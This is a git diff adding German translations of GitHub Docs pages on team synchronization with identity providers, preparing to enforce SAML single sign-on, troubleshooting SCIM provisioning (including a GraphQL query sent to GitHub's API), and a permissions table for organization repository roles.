+  - /connecting-your-identity-provider-to-your-organization
+  - /configuring-saml-single-sign-on-and-scim-using-okta
+  - /enabling-and-testing-saml-single-sign-on-for-your-organization
+  - /preparing-to-enforce-saml-single-sign-on-in-your-organization
+  - /enforcing-saml-single-sign-on-for-your-organization
+  - /downloading-your-organizations-saml-single-sign-on-recovery-codes
+  - /managing-team-synchronization-for-your-organization
+  - /accessing-your-organization-if-your-identity-provider-is-unavailable
+  - /troubleshooting-identity-and-access-management-for-your-organization
+shortTitle: Manage SAML single sign-on
+ms.openlocfilehash: fbceb30af76af31bc3b0ae1361da7c8766971563
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147093126'
+---
+{% data reusables.saml.ghec-only %}
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
new file mode 100644
index 0000000000..ad484bc2da
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
@@ -0,0 +1,102 @@
+---
+title: Managing team synchronization for your organization
+intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.'
+redirect_from:
+  - /articles/synchronizing-teams-between-your-identity-provider-and-github
+  - /github/setting-up-and-managing-organizations-and-teams/synchronizing-teams-between-your-identity-provider-and-github
+  - /github/articles/synchronizing-teams-between-okta-and-github
+  - /github/setting-up-and-managing-organizations-and-teams/managing-team-synchronization-for-your-organization
+permissions: Organization owners can manage team synchronization for an organization.
+miniTocMaxHeadingLevel: 3
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage team synchronization
+---
+
+{% data reusables.enterprise-accounts.emu-scim-note %}
+
+## About team synchronization
+
+You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups.
+
+{% data reusables.identity-and-permissions.about-team-sync %}
+
+{% data reusables.saml.ghec-only %}
+
+{% data reusables.identity-and-permissions.supported-idps-team-sync %}
+
+{% data reusables.identity-and-permissions.sync-team-with-idp-group %}
+
+You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+
+{% data reusables.enterprise-accounts.team-sync-override %}
+
+{% data reusables.identity-and-permissions.team-sync-usage-limits %}
+
+## Enabling team synchronization
+
+The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites.
+
+### Prerequisites
+
+{% data reusables.identity-and-permissions.team-sync-required-permissions %}
+
+You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+
+You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+
+Your SAML settings **must** contain a valid IdP URL for the **Issuer** field. 
+
+![SAML Issuer field](/assets/images/help/saml/saml_issuer.png)
+
+
+
+### Enabling team synchronization for Azure AD
+
+{% data reusables.identity-and-permissions.team-sync-azure-permissions %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.identity-and-permissions.team-sync-confirm-saml %}
+{% data reusables.identity-and-permissions.enable-team-sync-azure %}
+{% data reusables.identity-and-permissions.team-sync-confirm %}
+6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**.
+  ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png)
+
+### Enabling team synchronization for Okta
+
+Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization.
+
+To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. 
+
+If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to re-provision them.
+
+For help on provisioning users that have missing a missing SCIM linked identity, see "[Troubleshooting identity and access management for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization)."
+
+{% data reusables.identity-and-permissions.team-sync-okta-requirements %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.identity-and-permissions.team-sync-confirm-saml %}
+{% data reusables.identity-and-permissions.team-sync-confirm-scim %}
+1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+{% data reusables.identity-and-permissions.enable-team-sync-okta %}
+7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance.
+  ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png)
+6. Review the identity provider tenant information you want to connect to your organization, then click **Create**.
+  ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png)
+
+## Disabling team synchronization
+
+{% data reusables.identity-and-permissions.team-sync-disable %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+5. Under "Team synchronization", click **Disable team synchronization**.
+  ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png)
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
new file mode 100644
index 0000000000..b8d91da1f1
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
@@ -0,0 +1,32 @@
+---
+title: Auf die Erzwingung von SAML Single Sign-On in Ihrer Organisation vorbereiten
+intro: 'Bevor Du SAML Single Sign-On in Deiner Organisation erzwingen, solltest Du die Mitgliedschaft Deiner Organisation überprüfen und die Verbindungseinstellungen zu Deinem Identitätsanbieter konfigurieren.'
+redirect_from:
+  - /articles/preparing-to-enforce-saml-single-sign-on-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/preparing-to-enforce-saml-single-sign-on-in-your-organization
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Prepare to enforce SAML SSO
+ms.openlocfilehash: 6457b44f5a5debd005b8878b2f31f81c4341ab15
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145125609'
+---
+{% data reusables.saml.ghec-only %}
+
+{% data reusables.saml.when-you-enforce %} Bevor Du SAML-SSO in Deiner Organisation erzwingst, solltest Du die Organisationsmitgliedschaft überprüfen, SAML-SSO aktivieren und den SAML-Zugriff der Mitglieder der Organisation überprüfen. Weitere Informationen findest du unter folgenden Themen.
+
+| Aufgabe | Weitere Informationen |
+| :- | :- |
+| Hinzufügen oder Entfernen von Mitgliedern aus Deiner Organisation | <ul><li>„[Einladen von Benutzern zum Beitritt zu Deiner Organisation](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)“</li><li>„[Entfernen eines Mitglieds aus Deiner Organisation](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)“</li></ul> |
+| Verbinden Deiner IDP für Deine Organisation durch Aktivieren von SAML-SSO | <ul><li>„[Verbinden Deines Identitätsanbieters mit Deiner Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)“</li><li>„[Aktivieren und Testen von SAML Single Sign-On für Deine Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)“</li></ul> |
+| Sicherstellen, dass Deine Organisationsmitglieder sich angemeldet und ihre Konten mit dem IdP verknüpft haben | <ul><li>[Anzeigen und Verwalten des SAML-Zugriffs eines Mitglieds auf deine Organisation](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)</li></ul> |
+
+Nachdem Du diese Aufgaben abgeschlossen hast, kannst Du SAML-SSO für Deine Organisation erzwingen. Weitere Informationen findest du unter „[Erzwingen des einmaligen Anmeldens mit SAML für Deine Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)“.
+
+{% data reusables.saml.outside-collaborators-exemption %}
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md
new file mode 100644
index 0000000000..c32109dbfc
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md
@@ -0,0 +1,104 @@
+---
+title: Problembehandlung bei der Identitäts- und Zugriffsverwaltung deiner Organisation
+intro: 'Überprüfe und behebe häufige Probleme bei der Verwaltung von SAML SSO, Teamsynchronisierung oder Verbindung mit Identitätsanbietern in deiner Organisation.'
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Troubleshooting access
+redirect_from:
+  - /organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management
+ms.openlocfilehash: d3110d61fb511f55aa840d0911c036dd342fa833
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106973'
+---
+{% data reusables.saml.current-time-earlier-than-notbefore-condition %}
+
+{% data reusables.saml.authentication-loop %}
+
+## Bei einigen Benutzern funktioniert die Bereitstellung oder Aufhebung der Bereitstellung durch SCIM nicht.
+
+Wenn Probleme mit der Bereitstellung bei Benutzern auftreten, wird empfohlen, zu überprüfen, ob den Benutzern SCIM-Metadaten fehlen. 
+
+{% data reusables.scim.changes-should-come-from-idp %}
+
+Wenn einem Organisationsmitglied SCIM-Metadaten fehlen, kannst du SCIM über IdP manuell für den Benutzer bereitstellen.
+
+### Überwachen von Benutzern auf fehlende SCIM-Metadaten
+
+Wenn du vermutest oder feststellst, dass Benutzer nicht wie erwartet bereitgestellt werden oder deine Bereitstellung aufgehoben wird, empfehlen wir, alle Benutzer in deiner Organisation zu überwachen.
+
+Um zu überprüfen, ob Benutzer über eine SCIM-Identität (SCIM-Metadaten) in ihrer externen Identität verfügen, kannst du SCIM-Metadaten für ein Organisationsmitglied gleichzeitig auf {% data variables.product.prodname_dotcom %} überprüfen oder alle Organisationsmitglieder programmgesteuert mithilfe der {% data variables.product.prodname_dotcom %}-API überprüfen.
+
+#### Überwachen von Organisationsmitgliedern auf {% data variables.product.prodname_dotcom %}
+
+Um zu bestätigen, dass SCIM-Metadaten für ein einzelnes Organisationsmitglied vorhanden sind, besuchst du diese URL, und ersetzt `<organization>` und `<username>`: 
+
+> `https://github.com/orgs/<organization>/people/<username>/sso`
+
+Wenn die externe Identität des Benutzers SCIM-Metadaten enthält, sollte der Organisationsbesitzer einen SCIM-Identitätsabschnitt auf dieser Seite sehen. Wenn ihre externe Identität keine SCIM-Metadaten enthält, ist der SCIM Identity-Abschnitt nicht vorhanden.
+
+#### Überwachen von Organisationsmitgliedern über die {% data variables.product.prodname_dotcom %}-API
+
+Als Organisationsbesitzer kannst du auch die SCIM-REST-API oder GraphQL abfragen, um alle in einer Organisation bereitgestellten SCIM-Identitäten aufzulisten. 
+
+#### Verwenden der REST-API
+
+Die SCIM REST-API gibt nur Daten für Benutzer zurück, deren SCIM-Metadaten in ihren externen Identitäten ausgefüllt sind. Es wird empfohlen, eine Liste der bereitgestellten SCIM-Identitäten mit einer Liste aller Mitglieder deiner Organisation zu vergleichen.
+
+Weitere Informationen finden Sie unter
+  - [Auflisten von gemäß SCIM bereitgestellten Identitäten](/rest/reference/scim#list-scim-provisioned-identities)
+  - [Auflisten von Organisationsmitgliedern](/rest/reference/orgs#list-organization-members)
+
+#### Verwenden von GraphQL
+
+Diese GraphQL-Abfrage zeigt dir die SAML-`NameId`, den SCIM-`UserName` und den {% data variables.product.prodname_dotcom %}-Benutzernamen (`login`) für jeden Benutzer in der Organisation. Ersetze `ORG` durch den Namen deiner Organisation, um diese Abfrage zu verwenden. 
+
+```graphql
+{
+  organization(login: "ORG") {
+    samlIdentityProvider {
+      ssoUrl
+      externalIdentities(first: 100) {
+        edges {
+          node {
+            samlIdentity {
+              nameId
+            }
+            scimIdentity {
+              username
+            }
+            user {
+              login
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+```shell
+curl -X POST -H "Authorization: Bearer YOUR_TOKEN" -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username}  user { login } } } } } } }" }'  https://api.github.com/graphql
+```
+
+Weitere Informationen zur Verwendung der GraphQL-API findest du unter: 
+   - [GraphQL-Führungslinien](/graphql/guides)
+   - [GraphQL-Explorer](/graphql/overview/explorer)
+
+### Erneute Bereitstellung von SCIM für Benutzer über deinen Identitätsanbieter
+
+Du kannst SCIM für Benutzer manuell über dein IdP bereitstellen. Um z. B. Bereitstellungsfehler für Okta zu beheben, kannst du im Okta-Admin-Portal die Zuweisung von Benutzern zu {% data variables.product.prodname_dotcom %} aufheben und diese erneut zuweisen. Dies wird in Okta ein API-Aufruf ausgelöst, um die SCIM-Metadaten für diese Benutzer in {% data variables.product.prodname_dotcom %} auszufüllen. Weitere Informationen findest du unter [Aufheben der Zuweisung von Benutzern zu Anwendungen](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm) oder [Zuweisen von Benutzern zu Anwendungen](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm) in der Okta-Dokumentation.
+
+Um zu bestätigen, dass die SCIM-Identität eines Benutzers erstellt wird, empfehlen wir, diesen Prozess mit einem einzelnen Organisationsmitglied zu testen, bei dem du überprüft hast, dass keine externe SCIM-Identität vorhanden ist. Nachdem du die Benutzer in deinem IdP manuell aktualisiert haben, kannst du überprüfen, ob die SCIM-Identität des Benutzers mithilfe der SCIM-API oder in {% data variables.product.prodname_dotcom %} erstellt wurde. Weitere Informationen findest du unter [Überwachen von Benutzern auf fehlende SCIM-Metadaten](#auditing-users-for-missing-scim-metadata) oder im REST-API-Endpunkt [Abrufen von SCIM-Bereitstellungsinformationen für einen Benutzer](/rest/reference/scim#get-scim-provisioning-information-for-a-user).
+
+Wenn SCIM für Benutzer nicht erneut bereitgestellt wird, wende dich bitte an den {% data variables.product.prodname_dotcom %}-Support.
+
+## Weitere Informationsquellen
+
+- [Problembehandlung bei der Identitäts- und Zugriffsverwaltung deines Unternehmens](/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise)
diff --git a/translations/de-DE/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md b/translations/de-DE/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
new file mode 100644
index 0000000000..f3f3e4aad5
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
@@ -0,0 +1,175 @@
+---
+title: Repositoryrollen für eine Organisation
+intro: 'Du kannst den Zugriff auf jedes Repository in deiner Organisation durch Zuweisung präziser Berechtigungsstufen anpassen, sodass die Benutzer*innen Zugriff auf die Features und Aufgaben haben, die sie benötigen.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /articles/repository-permission-levels-for-an-organization-early-access-program
+  - /articles/repository-permission-levels-for-an-organization
+  - /github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization
+  - /organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization
+  - /organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Repository roles
+ms.openlocfilehash: 474c431aa6df0a942dcf377d256a0ce76ad2a0f8
+ms.sourcegitcommit: 00814c80b0f5fa76188c378a1196ef8fc5288113
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/31/2022
+ms.locfileid: '148120735'
+---
+## Repositoryrollen für Organisationen
+
+Du kannst Organisationsmitgliedern, externen Mitarbeiter*innen und Teams unterschiedliche Zugriffsberechtigungen auf die Repositorys einer Organisation erteilen, indem du ihnen Rollen zuweist. Wähle die Rolle aus, die am besten zur jeweiligen Benutzer- oder Teamfunktion innerhalb deines Projekts passt, und achte darauf, den Benutzer*innen nicht mehr als den notwendigen Zugriff auf ein Projekt zu geben.
+
+Die Rollen für ein Organisationsrepository, von der Rolle mit den geringsten Zugriffsberechtigungen hin zur Rolle mit den umfangreichsten Berechtigungen, sind:
+- **Read** (Lesen): Diese Ebene wird für Personen empfohlen, die nicht zum Code beitragen und sich das Projekt nur ansehen oder darüber sprechen möchten
+- **Triage**: Diese Ebene wird für Mitwirkende empfohlen, die proaktiv Issues und Pull Requests verwalten müssen, ohne dafür Schreibzugriff zu benötigen
+- **Write** (Schreiben): Diese Ebene wird für Mitwirkende empfohlen, die Änderungen aktiv in das Repository pushen
+- **Maintain** (Verwalten): Diese Ebene wird für Projektmanager empfohlen, die das Repository ohne Zugriff auf vertrauliche oder destruktive Aktionen verwalten müssen
+- **Admin**: Diese Rolle wird für Personen empfohlen, die vollständigen Zugriff auf das Projekt benötigen, einschließlich vertraulicher und destruktiver Aktionen wie das Verwalten der Sicherheit oder das Löschen eines Repositorys
+
+{% ifversion fpt %} Wenn deine Organisation {% data variables.product.prodname_ghe_cloud %} verwendet, kannst du benutzerdefinierte Repositoryrollen erstellen. Weitere Informationen findest du unter [Verwalten von benutzerdefinierten Repositoryrollen für eine Organisation](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization) in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.
+{% elsif ghec or ghes > 3.4 or ghae > 3.4 %} Du kannst benutzerdefinierte Repositoryrollen erstellen. Weitere Informationen findest du unter [Verwalten benutzerdefinierter Repositoryrollen für eine Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).
+{% endif %}
+
+Organisationsinhaber können Basis-Berechtigungen festlegen, die für alle Mitglieder einer Organisation gelten, wenn sie auf eines der Repositorys der Organisation zugreifen. Weitere Informationen findest du unter [Festlegen von Basisberechtigungen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions).
+
+Organisationsinhaber können den Zugriff auf bestimmte Einstellungen und Aktionen innerhalb ihrer Organisation noch weiter einschränken. Weitere Informationen zu Optionen für bestimmte Einstellungen findest du unter [Verwalten von Organisationseinstellungen](/articles/managing-organization-settings).
+
+Neben der Berechtigung zum Verwalten der organisationsweiten Einstellungen haben Organisationsinhaber auch Administratorzugriff auf jedes Repository ihrer Organisation. Weitere Informationen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
+
+{% warning %}
+
+**Warnung:** Wenn einem Repository ein Deployment-Schlüssel hinzugefügt wird, kann jede Person, die über den privaten Schlüssel verfügt, in Abhängigkeit der Schlüsseleinstellungen aus dem Repository lesen bzw. in das Repository schreiben, selbst wenn diese Person später aus der Organisation entfernt wird.
+
+{% endwarning %}
+
+## Berechtigungen für jede Rolle
+
+{% ifversion fpt %} Einige der unten aufgeführten Features sind auf Organisationen beschränkt, die {% data variables.product.prodname_ghe_cloud %} verwenden. {% data reusables.enterprise.link-to-ghec-trial %} {% endif %}
+
+{% ifversion fpt or ghes or ghec %} {% note %}
+
+**Hinweis:** Die Rollen, die für die Verwendung von Sicherheitsfeatures erforderlich sind, werden unten in „[Zugriffsanforderungen für Sicherheitsfeatures](#access-requirements-for-security-features)“ aufgeführt.
+
+{% endnote %} {% endif %}
+
+| Repository-Aktion | Lesen | Eingrenzung | Schreiben | Verwalten | Administrator |
+|:---|:---:|:---:|:---:|:---:|:---:|
+| Verwalten des Zugriffs von [Einzelpersonen](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository), [Teams](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository) und [externen Mitarbeitern](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) auf das Repository | | | | | **✔️** |
+| Pull (Abrufen) aus den zugewiesenen Repositorys der Person oder des Teams | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| Erstellen eines Forks des zugewiesenen Repositorys der Person oder des Teams | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| Bearbeiten und Löschen eigener Kommentare | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| Eröffnen von Issues | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| Schließen der selbst eröffneten Issues | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| Erneutes Eröffnen von selbst geschlossenen Issues | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| Issues zugewiesen erhalten | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| Senden von Pull Requests aus Forks der dem Team zugewiesenen Repositorys | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| [Absenden von Reviews zu Pull Requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| [Genehmigen oder Anfordern von Änderungen eines Pull Requests mit erforderlichen Reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews) | | | **✔️** | **✔️** | **✔️** |
+| [Anwenden vorgeschlagener Änderungen](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) auf Pull Requests | | | **✔️** | **✔️** | **✔️** |
+| Anzeigen veröffentlichter Releases | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% ifversion fpt or ghec %}
+| Anzeigen der [GitHub Actions-Workflowausführungen](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% endif %}
+| Bearbeiten von Wikis in öffentlichen Repositorys | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| Bearbeiten von Wikis in privaten Repositorys | | | **✔️** | **✔️** | **✔️** |{% ifversion fpt or ghec %}
+| [Melden von missbräuchlichen oder Spaminhalten](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% endif %}
+| Anwenden/Schließen von Bezeichnungen | | **✔️** | **✔️** | **✔️** | **✔️** |
+| Erstellen, Bearbeiten, Löschen von Bezeichnungen | | | **✔️** | **✔️** | **✔️** |
+| Schließen, erneutes Eröffnen und Zuweisen aller Issues und Pull Requests | | **✔️** | **✔️** | **✔️** | **✔️** |
+| [Aktivieren und Deaktivieren der automatischen Zusammenführung für einen Pull Request](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | | | **✔️** | **✔️** | **✔️** |
+| Anwenden von Meilensteinen |  | **✔️** | **✔️** | **✔️** | **✔️** |
+| Markieren von [Duplikaten von Issues und Pull Requests](/articles/about-duplicate-issues-and-pull-requests)| | **✔️** | **✔️** | **✔️** | **✔️** |
+| Anfordern von [Pull-Request-Reviews](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) | | **✔️** | **✔️** | **✔️** | **✔️** |
+| Zusammenführen eines [Pull Requests](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) | | | **✔️** | **✔️** | **✔️** |
+| Push (Schreiben) in die zugewiesenen Repositorys der Person oder des Teams | | | **✔️** | **✔️** | **✔️** |
+| Bearbeiten und Löschen der Kommentare beliebiger Benutzer zu Commits, Pull Requests und Issues | | | **✔️** | **✔️** | **✔️** |
+| [Ausblenden der Kommentare beliebiger Benutzer](/communities/moderating-comments-and-conversations/managing-disruptive-comments) | | | **✔️** | **✔️** | **✔️** |
+| [Blockieren von Konversationen](/communities/moderating-comments-and-conversations/locking-conversations) | | | **✔️** | **✔️** | **✔️** |
+| Übertragen von Issues (ausführliche Informationen findest du unter [Übertragen eines Issues an ein anderes Repository](/articles/transferring-an-issue-to-another-repository)) |  | | **✔️** | **✔️** | **✔️** |
+| [Agieren als designierter Codeinhaber eines Repositorys](/articles/about-code-owners) | | | **✔️** | **✔️** | **✔️** |
+| [Markieren eines Pull-Request-Entwurfs als bereit für den Review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **✔️** | **✔️** | **✔️** |
+| [Konvertieren eines Pull Requests in einen Entwurf](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **✔️** | **✔️** | **✔️** |
+| Erstellen von [Statusüberprüfungen](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) | | | **✔️** | **✔️** | **✔️** |{% ifversion fpt or ghec %}
+| Erstellen, Bearbeiten, Ausführen, Erneutes Ausführen und Abbrechen von [GitHub Actions-Workflows](/actions/automating-your-workflow-with-github-actions/) | | | **✔️** | **✔️** | **✔️** |{% endif %}
+| Erstellen und Bearbeiten von Releases | | | **✔️** | **✔️** | **✔️** |
+| Anzeigen von Release-Entwürfen | | | **✔️** | **✔️** | **✔️** |
+| Bearbeiten von Repository-Beschreibungen | | | | **✔️** | **✔️** |{% ifversion fpt or ghae or ghec %}
+| [Anzeigen und Installieren von Paketen](/packages/publishing-and-managing-packages) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| [Veröffentlichen von Paketen](/packages/publishing-and-managing-packages/publishing-a-package) | | | **✔️** | **✔️** | **✔️** |
+| [Löschen und Wiederherstellen von Paketen](/packages/learn-github-packages/deleting-and-restoring-a-package) | | |  |  | **✔️** | {% endif %}
+| Verwalten von [Themen](/articles/classifying-your-repository-with-topics) | | | | **✔️** | **✔️** |
+| Aktivieren von Wikis und Einschränken der Wiki-Editoren | | | | **✔️** | **✔️** |
+| Aktivieren von Projektboards | | | | **✔️** | **✔️** |
+| Konfigurieren von [Pull-Request-Merges](/articles/configuring-pull-request-merges) | | | | **✔️** | **✔️** |
+| Konfigurieren [einer Veröffentlichungsquelle für {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages) | | | | **✔️** | **✔️** |
+| [Verwalten von Branchschutzregeln](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule) | | | | | **✔️** |
+| [Pushen an geschützte Branches](/articles/about-protected-branches) | | | | **✔️** | **✔️** |
+| Zusammenführen von Pull Requests in geschützten Branches auch ohne genehmigende Reviews | | | | | **✔️** |{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %}
+| Erstellen von Tags, die einer [Tagschutzregel](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules) entsprechen | | | | **✔️** | **✔️** |
+| Löschen von Tags, die einer [Tagschutzregel](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules) entsprechen | | | | | **✔️** |{% endif %}
+| [Erstellen und Bearbeiten von sozialen Tickets für Repositorys](/articles/customizing-your-repositorys-social-media-preview) | | | | **✔️** | **✔️** |{% ifversion fpt or ghec %}
+| Einschränken [von Interaktionen in einem Repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)| | | | **✔️** | **✔️** |{% endif %}
+| Löschen eines Issues (siehe „[Löschen eines Issues](/articles/deleting-an-issue)“) | | | | | **✔️** |
+| [Definieren der Codebesitzer eines Repositorys](/articles/about-code-owners) | | | | | **✔️** |
+| Hinzufügen eines Repositorys zu einem Team (siehe „[Verwalten des Teamzugriffs auf ein Organisationsrepository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)“) | | | | | **✔️** |
+| [Verwalten des Zugriffs externer Mitarbeiter auf ein Repository](/articles/adding-outside-collaborators-to-repositories-in-your-organization) | | | | | **✔️** |
+| [Ändern der Sichtbarkeit eines Repositorys](/articles/restricting-repository-visibility-changes-in-your-organization) | | | | | **✔️** |
+| Erstellen eines Repositorys als Vorlage (siehe „[Erstellen eines Vorlagenrepositorys](/articles/creating-a-template-repository)“) | | | | | **✔️** |
+| Ändern der Einstellungen eines Repositorys | | | | | **✔️** |
